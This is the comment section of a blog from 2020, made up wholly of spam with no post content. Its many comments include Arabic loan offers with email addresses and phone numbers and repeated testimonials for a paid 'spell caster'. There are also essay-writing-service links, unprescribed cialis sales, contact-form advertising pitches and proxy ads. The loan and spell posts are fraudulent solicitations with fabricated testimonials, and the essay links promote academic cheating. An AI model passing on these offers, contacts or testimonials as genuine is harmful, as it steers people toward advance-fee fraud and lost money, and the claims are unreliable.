Howdy I am so happy I found your blog page, I really found you by accident, while I was looking on Askjeeve for something else, Anyhow I am here now and would just like to say thanks for a remarkable post and a all round enjoyable blog (I also love the theme/design), I don't have time to go through it all at the minute but I have book-marked it and also added your RSS feeds, so when I have time I will be back to read much more, Please do keep up the awesome work. cbd connecticut cbd connecticut

AQL FINANCE

Saturday, October 3, 2020

شركة القرض العالمي AQL ، نقدم قروضًا بمعدل فائدة 3٪. apexquickloanfinance09@gmail.com يوم سعيد سيدي / سيدتي. نحن شركة خاصة ونقدم قروضًا منخفضة الفائدة تتراوح بين 1000 دولار أمريكي في مخصصات القرض و 100 مليون مبلغ قرض. قرض تطوير الأعمال: Edge / Enterprise Competition. نقدم أنواعًا مختلفة من القروض * قروض الأفراد (مع أو بدون ضمان) * قروض الأعمال (بضمان وبدون ضمان) * قرض التوحيد بدون تكاليف مسبقة. شكرا لك على الوقت الذي قضيته في قراءة هذا الإعلان. لمزيد من المعلومات والأسئلة ، راسلنا عبر البريد الإلكتروني اليوم على apexquickloanfinance09@gmail.com Sarah Williams.

Grace

Friday, October 2, 2020

Definitely believe that tthat you stated. Your favorite reason seemed to be at the web the easiest thing to bear in mind of. I say to you, I certainly get annoyed whilst other folks consider worries that they plainly don't realize about. You controlled to hit the nail upon the top and also efined out the whole thing without having side-effects , other people could take a signal. Will probably be back to get more. Thanks https://writingmypaper.com cheap essay writing cheap essay writing https://writingmypaper.com

Oman Investors

Friday, October 2, 2020

أريد أن أقدر الدكتور (أوكون صهيون) لاستعادة زواجي مع تعويذة الصب بعد ست سنوات من الانفصال مع زوجي، بمساعدة التعويذة العظيمة التي تدعى د. Okon صهيون زوجي العودة الى الوطن والآن نحن سعداء معا من أجل الخير مرة أخرى بفضل Dr.Okon صهيون كما أنه علاج جميع أنواع المرض ومثل 1 تعويذة حب 2 فوز الحب مرة أخرى 3 فاكهة الرحم 4 موجة الترويج 5 تعويذة حماية 6 الأعمال الإملائي 7 تعويذة عمل جيدة 8 تعويذة المال 9 تعويذة حمل 10 يانصيب SPELL وقضية المحكمة SPELL الاتصال به لمساعدتكم ال WhatsApp +2348088010385 شكرا للدكتور أوكون صهيون لها WhatsApp هو +2348088010385

Oman Investors

Friday, October 2, 2020

أريد أن أقدر الدكتور (أوكون صهيون) لاستعادة زواجي مع تعويذة الصب بعد ست سنوات من الانفصال مع زوجي، بمساعدة التعويذة العظيمة التي تدعى د. Okon صهيون زوجي العودة الى الوطن والآن نحن سعداء معا من أجل الخير مرة أخرى بفضل Dr.Okon صهيون كما أنه علاج جميع أنواع المرض ومثل 1 تعويذة حب 2 فوز الحب مرة أخرى 3 فاكهة الرحم 4 موجة الترويج 5 تعويذة حماية 6 الأعمال الإملائي 7 تعويذة عمل جيدة 8 تعويذة المال 9 تعويذة حمل 10 يانصيب SPELL وقضية المحكمة SPELL الاتصال به لمساعدتكم ال WhatsApp +2348088010385 شكرا للدكتور أوكون صهيون لها WhatsApp هو +2348088010385

Oman Investors

Friday, October 2, 2020

أريد أن أقدر الدكتور (أوكون صهيون) لاستعادة زواجي مع تعويذة الصب بعد ست سنوات من الانفصال مع زوجي، بمساعدة التعويذة العظيمة التي تدعى د. Okon صهيون زوجي العودة الى الوطن والآن نحن سعداء معا من أجل الخير مرة أخرى بفضل Dr.Okon صهيون كما أنه علاج جميع أنواع المرض ومثل 1 تعويذة حب 2 فوز الحب مرة أخرى 3 فاكهة الرحم 4 موجة الترويج 5 تعويذة حماية 6 الأعمال الإملائي 7 تعويذة عمل جيدة 8 تعويذة المال 9 تعويذة حمل 10 يانصيب SPELL وقضية المحكمة SPELL الاتصال به لمساعدتكم ال WhatsApp +2348088010385 شكرا للدكتور أوكون صهيون لها WhatsApp هو +2348088010385

Oman Investors

Friday, October 2, 2020

أريد أن أقدر الدكتور (أوكون صهيون) لاستعادة زواجي مع تعويذة الصب بعد ست سنوات من الانفصال مع زوجي، بمساعدة التعويذة العظيمة التي تدعى د. Okon صهيون زوجي العودة الى الوطن والآن نحن سعداء معا من أجل الخير مرة أخرى بفضل Dr.Okon صهيون كما أنه علاج جميع أنواع المرض ومثل 1 تعويذة حب 2 فوز الحب مرة أخرى 3 فاكهة الرحم 4 موجة الترويج 5 تعويذة حماية 6 الأعمال الإملائي 7 تعويذة عمل جيدة 8 تعويذة المال 9 تعويذة حمل 10 يانصيب SPELL وقضية المحكمة SPELL الاتصال به لمساعدتكم ال WhatsApp +2348088010385 شكرا للدكتور أوكون صهيون لها WhatsApp هو +2348088010385

Oman Investors

Friday, October 2, 2020

أريد أن أقدر الدكتور (أوكون صهيون) لاستعادة زواجي مع تعويذة الصب بعد ست سنوات من الانفصال مع زوجي، بمساعدة التعويذة العظيمة التي تدعى د. Okon صهيون زوجي العودة الى الوطن والآن نحن سعداء معا من أجل الخير مرة أخرى بفضل Dr.Okon صهيون كما أنه علاج جميع أنواع المرض ومثل 1 تعويذة حب 2 فوز الحب مرة أخرى 3 فاكهة الرحم 4 موجة الترويج 5 تعويذة حماية 6 الأعمال الإملائي 7 تعويذة عمل جيدة 8 تعويذة المال 9 تعويذة حمل 10 يانصيب SPELL وقضية المحكمة SPELL الاتصال به لمساعدتكم ال WhatsApp +2348088010385 شكرا للدكتور أوكون صهيون لها WhatsApp هو +2348088010385

Oman Investors

Friday, October 2, 2020

أريد أن أقدر الدكتور (أوكون صهيون) لاستعادة زواجي مع تعويذة الصب بعد ست سنوات من الانفصال مع زوجي، بمساعدة التعويذة العظيمة التي تدعى د. Okon صهيون زوجي العودة الى الوطن والآن نحن سعداء معا من أجل الخير مرة أخرى بفضل Dr.Okon صهيون كما أنه علاج جميع أنواع المرض ومثل 1 تعويذة حب 2 فوز الحب مرة أخرى 3 فاكهة الرحم 4 موجة الترويج 5 تعويذة حماية 6 الأعمال الإملائي 7 تعويذة عمل جيدة 8 تعويذة المال 9 تعويذة حمل 10 يانصيب SPELL وقضية المحكمة SPELL الاتصال به لمساعدتكم ال WhatsApp +2348088010385 شكرا للدكتور أوكون صهيون لها WhatsApp هو +2348088010385

Oman Investors

Friday, October 2, 2020

شهادة عن كيفية حصولي على قرضي بفضل شركة القروض العمانية، كنت في حالة فوضى مالية وتم رفضي عدة مرات من قبل شركات مختلفة. قررت أن محاولة إعطائها مع شركة قرض عُمان بعد أن رأيت منشورهم على موقع على شبكة الإنترنت. هل حصلت على قرض بلدي من oman_insurance_investors@outlook.com أو ما هو التطبيق + 15713705007 دون أي تأخير وأنا سعيدة جدا الآن. يرجى أي شخص يحتاج إلى قرض حقيقي وبأسعار معقولة يجب أن يرجى البريد الإلكتروني: oman_insurance_investors@outlook.com لمزيد من المعلومات... انهم موثوق بها جدا وموثوق بها ، وذلك بفضل

Oman Investors

Friday, October 2, 2020

شهادة عن كيفية حصولي على قرضي بفضل شركة القروض العمانية، كنت في حالة فوضى مالية وتم رفضي عدة مرات من قبل شركات مختلفة. قررت أن محاولة إعطائها مع شركة قرض عُمان بعد أن رأيت منشورهم على موقع على شبكة الإنترنت. هل حصلت على قرض بلدي من oman_insurance_investors@outlook.com أو ما هو التطبيق + 15713705007 دون أي تأخير وأنا سعيدة جدا الآن. يرجى أي شخص يحتاج إلى قرض حقيقي وبأسعار معقولة يجب أن يرجى البريد الإلكتروني: oman_insurance_investors@outlook.com لمزيد من المعلومات... انهم موثوق بها جدا وموثوق بها ، وذلك بفضل

Oman Investors

Friday, October 2, 2020

شهادة عن كيفية حصولي على قرضي بفضل شركة القروض العمانية، كنت في حالة فوضى مالية وتم رفضي عدة مرات من قبل شركات مختلفة. قررت أن محاولة إعطائها مع شركة قرض عُمان بعد أن رأيت منشورهم على موقع على شبكة الإنترنت. هل حصلت على قرض بلدي من oman_insurance_investors@outlook.com أو ما هو التطبيق + 15713705007 دون أي تأخير وأنا سعيدة جدا الآن. يرجى أي شخص يحتاج إلى قرض حقيقي وبأسعار معقولة يجب أن يرجى البريد الإلكتروني: oman_insurance_investors@outlook.com لمزيد من المعلومات... انهم موثوق بها جدا وموثوق بها ، وذلك بفضل

Oman Investors

Friday, October 2, 2020

شهادة عن كيفية حصولي على قرضي بفضل شركة القروض العمانية، كنت في حالة فوضى مالية وتم رفضي عدة مرات من قبل شركات مختلفة. قررت أن محاولة إعطائها مع شركة قرض عُمان بعد أن رأيت منشورهم على موقع على شبكة الإنترنت. هل حصلت على قرض بلدي من oman_insurance_investors@outlook.com أو ما هو التطبيق + 15713705007 دون أي تأخير وأنا سعيدة جدا الآن. يرجى أي شخص يحتاج إلى قرض حقيقي وبأسعار معقولة يجب أن يرجى البريد الإلكتروني: oman_insurance_investors@outlook.com لمزيد من المعلومات... انهم موثوق بها جدا وموثوق بها ، وذلك بفضل

Oman Investors

Friday, October 2, 2020

شهادة عن كيفية حصولي على قرضي بفضل شركة القروض العمانية، كنت في حالة فوضى مالية وتم رفضي عدة مرات من قبل شركات مختلفة. قررت أن محاولة إعطائها مع شركة قرض عُمان بعد أن رأيت منشورهم على موقع على شبكة الإنترنت. هل حصلت على قرض بلدي من oman_insurance_investors@outlook.com أو ما هو التطبيق + 15713705007 دون أي تأخير وأنا سعيدة جدا الآن. يرجى أي شخص يحتاج إلى قرض حقيقي وبأسعار معقولة يجب أن يرجى البريد الإلكتروني: oman_insurance_investors@outlook.com لمزيد من المعلومات... انهم موثوق بها جدا وموثوق بها ، وذلك بفضل

Oman Investors

Friday, October 2, 2020

شهادة عن كيفية حصولي على قرضي بفضل شركة القروض العمانية، كنت في حالة فوضى مالية وتم رفضي عدة مرات من قبل شركات مختلفة. قررت أن محاولة إعطائها مع شركة قرض عُمان بعد أن رأيت منشورهم على موقع على شبكة الإنترنت. هل حصلت على قرض بلدي من oman_insurance_investors@outlook.com أو ما هو التطبيق + 15713705007 دون أي تأخير وأنا سعيدة جدا الآن. يرجى أي شخص يحتاج إلى قرض حقيقي وبأسعار معقولة يجب أن يرجى البريد الإلكتروني: oman_insurance_investors@outlook.com لمزيد من المعلومات... انهم موثوق بها جدا وموثوق بها ، وذلك بفضل

Abigail

Thursday, October 1, 2020

Hey I know this is off opic but I was wondering if you knew of any widgets I could add to my blog that automatically tweet my newest twitter updates. I've been looking for a plug-in like this for quite some time and was hoping maybe you would have some experiencfe with something like this. Please lett me know if you run into anything. I truly enjoy reading yoour blog and I look forward to your new updates. https://phrasesforessayswriting805.blogspot.com/2019/10/poverty-global-issue.html online paper online paper https://howtowritecasestudyessay370.blogspot.com/2020/09/writing-assignment-2-essay-example.html

ianis

Thursday, October 1, 2020

Hello everyone, it’s Leticia here! I work as a professional an essay writer and have created this content with the intent of changing your life for the better. I started honing my writing skills in college. I learned that my fellow students needed writing help—and they were willing to pay for it. The money was enough to help pay my tuition for my remaining semesters of college. Ever since college, I have continued to work as a professional writer. I was hired by a writing service based in the United Kingdom. Since then, the dissertations that I have written have been sold around Europe and the United States. In my line of work, I have become familiar with hearing, “Leticia, can you help me meet my writing assignment deadline?” I know that I can save their time. Academic Writer – Leticia – [url=https://www.nfhouse.org/]www.nfhouse.org[/url] Team

Angel

Thursday, October 1, 2020

Quality articles or reviews is the secret to interest the viewers to visiit the weeb site, that's what this web page iss providing. https://wowworkinking.com english essay writing english essay writing; Wendi, https://wowworkinking.com/

Gretchen

Thursday, October 1, 2020

I really like it when indivijduals come together and share opinions. Great blog, continue the good work! https://smileworkinking.com application essay writing service application essay writing service (Thorsten) https://smileworkinking.com/

Rudolph

Thursday, October 1, 2020

At this time iit sounds like Movable Typpe is the preferred blogging platform out there rjght now. (from what I've read) Is that what you're using oon your blog? https://shakespeareessay473.blogspot.com/2019/09/inter-cultural-teams-essay-example.html buying paper online buying paper online https://howtowriteessaysincollege913.blogspot.com/2020/09/this-essay-is-personal-narrative-because.html

افضل موقع للربح السريع

Wednesday, September 30, 2020

Merely looked at a few of your images (: i'm really pleased i reached job darkness you. You're great! https://www.instapaper.com/p/onlinemoney

طرق الربح من الانترنت

Wednesday, September 30, 2020

I adore the shades and tones! https://www.instapaper.com/p/onlinemoney

Emely

Wednesday, September 30, 2020

Our top essay writing service is aimed att university students across all academic levels. https://buy-essay-services.com/essay-editing essay editing services https://buy-essay-services.com/essay-editing essay editing services

Amy

Wednesday, September 30, 2020

Our outstanding essay writing service is aimed at university students across all academic levels. https://buy-essay-services.com/write-my-research-paper help me write my research paper https://buy-essay-services.com/write-my-research-paper help me write my research paper

Myrna

Wednesday, September 30, 2020

Our top level essay writing servicce is created for students across all academic levels. https://buy-essay-services.com/write-my-essay write my essay today https://buy-essay-services.com/write-my-essay write my essay today

Darcy

Tuesday, September 29, 2020

Our outstanding paper writing service is focused att college students across all academic levels. https://buy-essay-services.com essay service https://buy-essay-services.com/ essay service

Leora

Tuesday, September 29, 2020

Our top paper writing service is focused at students cross all academic levels. https://buy-essay-services.com/ write my research paper for me https://buy-essay-services.com/write-my-research-paper write my research paper for me

Sylvester

Tuesday, September 29, 2020

Our top essay writing service is targeted at university students across alll academic levels. https://buy-essay-services.com buy essay service https://buy-essay-services.com buy essay service

Wilhelmina

Tuesday, September 29, 2020

Hi! I'm at work browsing yoir blog from my new iphone 3gs! Just wanted to say I love reading your blg and look forward to all your posts! Carry on the outstanding work! https://writeessaysforme.info paper writing help paper writing help https://helpwriting.info

CindyTAB

Monday, September 28, 2020

Spring season cleansing is certainly not only routine to remove dust and also dust. However we need to have to perform an analysis of winter months clothes. Coming from unnecessary points to remove, you require to clean as well as identify the storage space. Throw out the junk as well as give your own self an additional guarantee certainly not to conserve unnecessary junk. Tidy the wall surfaces as well as ceilings, wash the windows, allow the springtime right into your home, repel the inactivity. Cleaning up in NYC - is the arrangement of specialized solutions for springtime cleansing of properties and adjoining regions, along with maintaining sanitation. The blend of premium work and also economical rates is actually a particular component that differentiates our cleansing company in the NJ cleaning company market. Our motto: " The most ideal quality - low cost!" as well as you may be sure of that! In our company, incredibly economical prices for all kinds of cleaning services. Our company guarantee you the provision of professional cleaning company at a higher amount. Pros knowledgeably master the techniques of cleaning with the use of contemporary high-tech equipment and also focused chemicals. Along with all this, the costs for our companies are actually considerably lower than the primary cleaning firms. Getting such a solution as " Spring season Cleansing" in our company, you get the option of premium cleaning of the nearby territory of your house. Our team deliver cleaning where others can not deal. Our experts are going to concern you even when you are at the some others armageddon as well as perform the cleansing at the highest degree. Merely give us a call. Cleaning people Staten Island - [url=https://springcleaning.pro]spring cleaning[/url]

Brady Despeissis

Monday, September 28, 2020

Greetings, I was just taking a look at your website and submitted this message via your feedback form. The feedback page on your site sends you messages like this via email which is why you're reading my message at this moment correct? This is the holy grail with any type of advertising, getting people to actually READ your ad and I did that just now with you! If you have an advertisement you would like to promote to thousands of websites via their contact forms in the US or to any country worldwide send me a quick note now, I can even target particular niches and my charges are very reasonable. Send a message to: lorenzodaniel9137@gmail.com I don't want to receive communication from you any more https://bit.ly/3eTzNib

tuptslumb

Sunday, September 27, 2020

slots free [url=http://onlinecasinouse.com/# ]vegas casino slots [/url] free casino slot games big fish casino http://onlinecasinouse.com/#

Minna

Sunday, September 27, 2020

Hi this is somewhat of off topic but I was wanting to know if blogs usee WYSIWYG editors or if you have to manually code with HTML. I'm starting a blog soon but have no coding experience so I wanted to geet gyidance from someone with experience. Any help woulod be enormously appreciated! https://writeaessayonline720.blogspot.com/2020/09/assignmenthelper.html paper writing service paper writing service https://aper-writing-service489.tistory.com/16

Elsie

Sunday, September 27, 2020

Hello, all the time i used to check blog posts here early in the break of day, because i like to find out more and more. https://comprarcialis5mgonline.com/marca-cialis-professional-20-mg.html legitimate online pharmacy for cialis

Julieta

Saturday, September 26, 2020

It's awesome to pay a quick visit thiss web site and reading the views of all mates regarding this article, while I am also keen of getting know-how. https://sites.google.com/ essay eiting service essay editing service - sites.google.com - https://howwewriteessay4453.weebly.com/blog/oxbridge-essays

AQL FINANCE

Saturday, September 26, 2020

مرحبًا بالجميع ، هل تحتاج إلى ائتمان مناسب اليوم؟ هل لديك مشاكل مع الفواتير المستحقة ولا تعرف إلى أين تتجه أو إلى أين تتجه؟ كنت هكذا قبل الانضمام إلى شركة AQL Finance Loans Company ، إحدى شركات القروض الرائدة في الولايات المتحدة. ماذا عن إيجاد شركة ذات سمعة طيبة لتوحيد الديون يمكنها مساعدتك في خفض الأقساط الشهرية؟ إذاً لديك خيارات سداد ميسورة ولديك مساحة للتنفس عندما ينتهي الشهر ويجب دفع الفواتير؟ الجواب هو شركة القروض AQL. قلل مدفوعاتك لتقليل الضغط على نفقاتك الشهرية. الخدمات المالية بقروض كبيرة هي الخيار الأفضل. موّل أحلامك وأهدافك بأسعار فائدة منخفضة وعقود مرنة. احصل على الكمية التي تحتاجها في 20 ساعة فقط. تقدم شركة Beverly Loans النقدية بأدنى سعر فائدة ممكن. إنهم يتفهمون مخاوف الحياة وهم موجودون من أجلك. اتصل بقروض AQL في الولايات المتحدة عبر البريد الإلكتروني: apexquickloanfinance09@gmail.com) وستكون سعيدًا لأنك فعلت ذلك. مع تحياتي.

Darren Ugalde

Saturday, September 26, 2020

NOT SATISFIED WITH YOUR HOSTING ? Check Out Our Coupons for This Month & Get Your Domain, Hosting and SSLs For Less! Namecheap Offers Amazing Deals That Save You Money Across Our Product Range! Best Value Web Products. 20 Years Serving You. Free WhoisGuard. #1 for Value Vs. Others. Check Out Our Coupons for This Month => https://zeep.ly/prePy

Penni

Saturday, September 26, 2020

Howdy just wanted to give you a quick heads up and let you know a few of the images aren't loading correctly. I'm not sure why but I think its a linking issue. I've tried it iin two different web browsers and borh show the same results. https://bartlebywrite.info essay hlp service essay help service https://bestessaywritingservice.info

Philomena

Saturday, September 26, 2020

I am really impressed with your writing skills as well as with the layout on your blog. Is this a paid theme or did you modify it yourself? Either way keep up the nice quality writing, it's rare to see a nice blog like this one nowadays. https://comprarcialis5mgonline.com/marca-cialis-professional-20-mg.html cialis online american express

Kina

Thursday, September 24, 2020

Your method of explaining everything in this paragraph is genuinely good, efery one be capable of easily understand it, Thanks a lot. https://free-writing-essay-topics53.tistory.com/15 essay writing help essay writing help https://collegesthatrequireessays939.blogspot.com/2020/06/argument-essay-topics-about-family.html

WilliamJoymn

Wednesday, September 23, 2020

Мы можем предоставить любую авиазапчасть взжатый срок прямиком в пункт выдачи склад автозапчастей : [url=https://autocomponent63.ru/]со автозапчасти[/url]. Помимо желания предоставить большой ассортиментный выбор автомобильных запчастей, сотрудники нашей фирмы также постоянно работа ведется над потребительским качеством сопровождения . В связи с широким набором характеристик и вариантов автомашин каждой модели, наши сотрудники завели пошаговую схему заказа. Таковым образом, мы стремимся не делать упущений и закупок ненужных запасных частей. Закажите у нас запасные части и получите скидку в цене на дальнейший заказ!

Julianne

Wednesday, September 23, 2020

Your method of explaining everything in this paragraph is actually nice, all be capable of simply know it, Thanks a lot. https://servicethesis.info cheap essay writing service cheap essay writing serviceI love the styles. https://buyessayonlinecheap.info/ cheap essay writing service cheap essay writing serviceI love the styles. https://helpwriting.info cheap essay writing service cheap essay writing serviceI love the styles. https://writeessaysforme.info

Jere

Wednesday, September 23, 2020

Our outstanding paper wwriting service is focused at school students across all academic levels. https://buy-essay-services.com/write-my-research-paper essay services write my research paper https://buy-essay-services.com/ write my research paper

Renee

Tuesday, September 22, 2020

We stumbled over heree diffterent web address and thought I should check things out. I like what I see sso i am just following you. Loook forward to checking out you web page again. https://sites.google.com/view/dissertationabstract44/the-definitive-solution-for-gmo-research-paper-topics help me write my research paper help me write my research paper https://formatsof.tistory.com/4

Elana

Monday, September 21, 2020

Hi, I do believe this is an excellent blog. I stumbledupon it ;) I'm going to come back once again since I book-marked it. Money and freedom is the best way to change, may you be rich and continue to guide other people. https://persuasiveessays.info cheapest essay writing service cheapest essay writing serviceThat is a beautiful photo with very good light : -) https://buycustomessay.info cheapest essay writing service application essay writing service (Elana)That is a beautiful photo with very good light :-) https://writeanessayforme. https://collegeapplicationessaywritingservice.info

Mae Genovese

Monday, September 21, 2020

Do you want no charge advertising for your website? Check out: http://www.completely-free-ad-posting.xyz

Uta

Sunday, September 20, 2020

Hello! I know this is kind of off topic but I was wondering if you knew where I could locate a captcha plugin for my comment form? I'm using the same blog platform as yours and I'm having difficulty finding one? Thanks a lot! https://admissionessaywritingservice.com/ college essay writing service college essay writing service https://professionalessaywritingservice.com

Ezra

Sunday, September 20, 2020

Aftyer I initially commented I seem to have clicked on the -Notify me when new comments are added- checkbox and now whenever a comment is added I get fouur emails with the exact same comment. Perhaps there iis an easy method you are able to remove me rom that service? Thanks a lot! https://essay-help-writing6.tistory.com/ essay editing services essay editing services (https://essay-help-writing6.tistory.com/) https://buypresentation378.weebly.com/

Jerrold

Friday, September 18, 2020

Have you ever considered aout including a little bit more than just yiur articles? I mean, what you say is valuable and all. Nevertheless imagine if you added some great pictures oor videos too give your posts more, "pop"! Your content iss excellent but with pics and videos, this site could definitely be one of the greatest iin its field. Fantastic blog! https://universitypapers366.doodlekit.com/ write mmy researech paper for me write myy research paper for mme (https://universitypapers366.doodlekit.com/) https://essaystructureexample930.weebly.com/

Carri

Friday, September 18, 2020

Hello there! This is my first visit to your blog! We are a group off volunteers and starting a new project in a communty in the same niche. Yoour blog provided us beneficial information to work on. You have done a marvellous job! write a paper online https://essayhelpforall.com

Brady

Friday, September 18, 2020

You really make it seem so easy with your presentation but I find this topic to be reall something which I thinnk I would nsver understand. It seems too complicated and very broad for me. I'm looking forward for your next post, I'll try to get the hang of it! https://buy-essay-services.com/essay-help write my essay today write my essay today https://buy-essay-services.com

Major

Thursday, September 17, 2020

I do not know if it's just me orr if everybody else experiencing issues with your website. It looks like some of the written text on your conttent are running off the screen. Can somebody else please comment and let me know if this is happening to them as well? This could be a problem with my ibternet browser because I've had this happen before. Kudos someone write my paper https://best-writing-services74.tistory.com/3

Cary

Wednesday, September 16, 2020

There is certainly a great deal too know about this topic. I like all the points you made. write papers for me https://howdouwriteanessay1139.weebly.com/blog/writing-a-novel-just-got-easier

Mavis

Tuesday, September 15, 2020

Write more, thats all I hqve to say. Literally, it seems as though yyou relied on the video to make your point. You obviously know what youre talking about, why waste your intelligence on just posting videos to your blog when you could be giving us something enlightening to read? buying term paper https://professionalessaywritingservice.com

Caitlin Thibault

Tuesday, September 15, 2020

Hi, I'm Elena1r Your videos need to GRAB attention and LOOK amazing. I will create Amazing Clean, Elegant video...... or any other concept that better suits your content! I will create a perfect content to engage your audience! Video may include the following features: - Intro video with logo - Your URL adress - Call to action text and contact details. - Music - Voice over (only on request) Please contact me before making the request. https://www.sweatyquid.com/proposals/elena1r/i-will-create-amazing-clean-elegant-promotional-video

Malinda

Tuesday, September 15, 2020

Everyone loves what you guys are up too. Such clever work and coverage! Keep up the awesome works guys I've you guys to blogroll. https://bit.ly/ essay writing service uk essay writing service ukI enjoy the shades. https://bit.ly/ essay writing service uk essay writing service ukI enjoy the shades. https://bit.ly essay writing service uk buy cheap law essayI enjoy the shades. https://bit. https://bit.ly/

Caridad

Tuesday, September 15, 2020

At this time it appears like Movable Type is the best blogging platform out there right now. (from what I've read) Is that what you're using on your blog? https://comprarcialis5mgonline.com/marca-cialis-professional-20-mg.html cialis online 5 mg

Marcelino

Monday, September 14, 2020

I'm amazed, I have to admit. Rarely do I come across a blog that's both educative and amusing, and without a doubt, you've hit the nail on the head. The problem is something not enough people are speaking intelligently about. I am very happy I found this during my search for something concerning this. https://comprarcialis5mgonline.com/marca-cialis-professional-20-mg.html buy cialis online with no prescription

Olivia

Monday, September 14, 2020

Thanks for the good writeup. It in truth was once a leisure account it. Look advanced to more added agreeable from you! However, how can we be in contact? college research paper https://engineeringcollegeessay59.blogspot.com/2020/09/online-writing-jobs-could-be-your.html

Manie

Sunday, September 13, 2020

Hey very interesting blog! https://comprarcialis5mgonline.com/marca-cialis-professional-20-mg.html buy cialis soft tabs online

Halina

Saturday, September 12, 2020

Can I simply say what a relief to discover an individual who actually knows what they're discussing on the net. You actually know how to bring an issue to light and make it important. More and more people ought to read this and understand this side of your story. I was surprised that you aren't more popular because you definitely possess the gift. write an argumentative essay https://essaywritingguidelines291.blogspot.com/2020/09/purchase-research-papers-online.html

Rigoberto Towle

Saturday, September 12, 2020

Good morning, I was just checking out your site and filled out your contact form. The contact page on your site sends you these messages to your email account which is the reason you're reading my message at this moment right? This is the holy grail with any type of online ad, making people actually READ your advertisement and that's exactly what I just accomplished with you! If you have an advertisement you would like to promote to thousands of websites via their contact forms in the U.S. or anywhere in the world send me a quick note now, I can even target particular niches and my prices are very low. Shoot me an email here: kinleytrey96@gmail.com delete your site https://bit.ly/2xN75Pz

Lavina Branch

Saturday, September 12, 2020

Have you had enough of expensive PPC advertising? Now you can post your ad on 5000 advertising websites and you only have to pay a single monthly fee. These ads stay up forever, this is a continual supply of organic visitors! Take a look at: https://bit.ly/free-traffic-always

Christen Cleburne

Friday, September 11, 2020

Learn how to create fast loading landing pages at no cost. Unlimited hosting and bandwidth for free here ==> https://zeep.ly/wFAfp

Georgina Streeton

Friday, September 11, 2020

Good morning, I was just visiting your website and filled out your "contact us" form. The "contact us" page on your site sends you messages like this via email which is the reason you're reading through my message at this moment correct? That's half the battle with any type of advertising, making people actually READ your ad and that's exactly what I just accomplished with you! If you have an ad message you would like to blast out to lots of websites via their contact forms in the US or anywhere in the world let me know, I can even target particular niches and my charges are super low. Write an email to: denzeljax219@gmail.com manage your ad preferences https://bit.ly/356b7P8

Steffen

Friday, September 11, 2020

Just wish to say your article is as amazing. The clearness in your post is just cool and i can assume you're an expert on this subject. Well with your permission allow me to grab your feed to keep up to date with forthcoming post. Thanks a million and please carry on the enjoyable work. https://lawessay2859.weebly.com/blog/custom-writing-service-which-students-can-trust cheap custom essay writing services cheap custom essay writing servicesJust internet bank things out ... like the pictures! I attempt to discover by considering other pictures, too. https://newyearswritingpaper835.blogspot. http://site-2961741-9969-3493.mystrikingly.com/

Faye Micheals

Friday, September 11, 2020

YOU NEED FAST PROXY SERVERS ? Check it out this Anonymous and Private Proxy Servers. HTTP & SOCKS5 Proxy supported. IP Authentication or Password Authentication available. HERE: https://bit.ly/3ifZkmL

Jonelle

Thursday, September 10, 2020

Hello, of course this piece of writing is truly fastidious and I have learned lot of things from it concerning blogging. thanks. http://site-2890575-729-5193.mystrikingly.com/ buy an essay cheap buy an essay cheaphttp://site-2890618-1728-5998.mystrikingly.com/ buy an essay cheap buy an essay cheaphttps://researchpapertopics7542.weebly.com/ buy an essay cheap buy an essay cheaphttps://autoethnographyessayexamples890.tumblr. http://site-2895145-2143-3544.mystrikingly.com/blog/buy-essay-papers

Cathy Lawry

Thursday, September 10, 2020

Learn how to create fast loading landing pages at no cost. Unlimited hosting and bandwidth for free here ==> https://zeep.ly/wFAfp

جيمس كلينتون

Thursday, September 10, 2020

إن عرضنا المقترح للعملاء في العام الجديد هو التزام إيجابي و كامل، لذا فإن العمل معنا يمنحك أقصى ضمان للحصول على تمويل لدينا تصنيف A+ في التمويل. وقد تم تقييم خدمات القروض فرانك (FLS) على مر السنين على أنها واحدة من أفضل الشركات على الانترنت مع سعر فائدة أرخص. إذا كنت في حاجة إلى التمويل، لا تترددوا في الاتصال بنا عبر الهاتف (+1-713-389-6778) أو عن طريق البريد الإلكتروني: k.frankloans@gmail.com

Patsy Saddler

Wednesday, September 9, 2020

I WILL FIND POTENTIAL CUSTOMERS FOR YOU I’m talking about a better promotion method than all that exists on the market right now, even better than email marketing. Just like you received this message from me, this is exactly how you can promote your business or product. CLAIM YOUR TEST PERIOD => https://bit.ly/3hdwfaC

Wilda

Wednesday, September 9, 2020

Exceptional post however , I was wannting to know if you could write a litte more on this subject? I'd be very thankful if you couldd elaborate a little bit more. Bless you! papers onlinje cheap papers online cheap https://buyessayscc.com

Tomoko Bonetti

Wednesday, September 9, 2020

YOU NEED FAST PROXY SERVERS ? Check it out this Anonymous and Private Proxy Servers. HTTP & SOCKS5 Proxy supported. IP Authentication or Password Authentication available. HERE: https://bit.ly/3ifZkmL

Christiane

Wednesday, September 9, 2020

I couldn't refrain from commenting. Very well written! write a college essay https://onlineessayforyou.com

Rosalina Lamaro

Monday, September 7, 2020

YOU NEED POTENTIAL CUSTOMERS THAT BUY FROM YOU ? I’m talking about a better promotion method than all that exists on the market right now, even better than email marketing. Just like you received this message from me, this is exactly how you can promote your business or product. CLAIM YOUR FREE TEST=> https://bit.ly/3lr6nLV

fatima

Monday, September 7, 2020

مرحباً بالجميع ، أنا فاطمة ، أريد أن تعلم أن شركة القروض Amaizen هي المكان المناسب حيث يمكنك حل مشاكلك المالية. أريد استخدام هذه الوسيلة لأشارككم بشهادة حول كيف وجهني الله إلى شركة قروض أمايزن ، التي أنقذت حياة زوجي. كان زوجي على وشك الوفاة عندما تم تشخيص إصابته بسرطان السجود ، وطالب الأطباء بمبلغ 26000 دولار أمريكي لعملية زوجي والفواتير الطبية. بدأت في تشغيل آلة التزحلق بالسخان فقط للفرز من أجل المال ولكني لم أنجح في الحصول على أي أموال حتى رفض أفراد الأسرة مني ، في هذا الوقت ذهب كل الأمل ، بعد الصلاة بجد. تلقيت مكالمة من صديقة طفولتي أخبرني أنها حصلت على قرض من شركة أمازن للقروض بفائدة منخفضة جدًا. اعتقدت أن هذا كان استهزاء بوضعي دون أي خيارات متبقية قررت أن أجربها وتقدمت بطلب للحصول على مبلغ 74000 دولار بشكل صادم في غضون 24 ساعة تلقيت القرض. ذهبت على الفور إلى المستشفى لإيداع فواتير الجراحة لزوجي وأنا أيضًا لسداد ديوننا ثم أخذت المتبقي أيضًا وأوسع عملي. أنا أكثر من ممتن لشركة أمازن للقروض لأنه لولاهم لكنت أصبحت أرملة الآن. لقد فعلوا المزيد مما توقعته ولهذا السبب أريد مشاركة شهادتي معك في حال كنت بحاجة إلى قرض أو إذا كنت تعرف شخصًا يحتاج إلى المال لأي نوع من الأعمال أو المشروع الذي 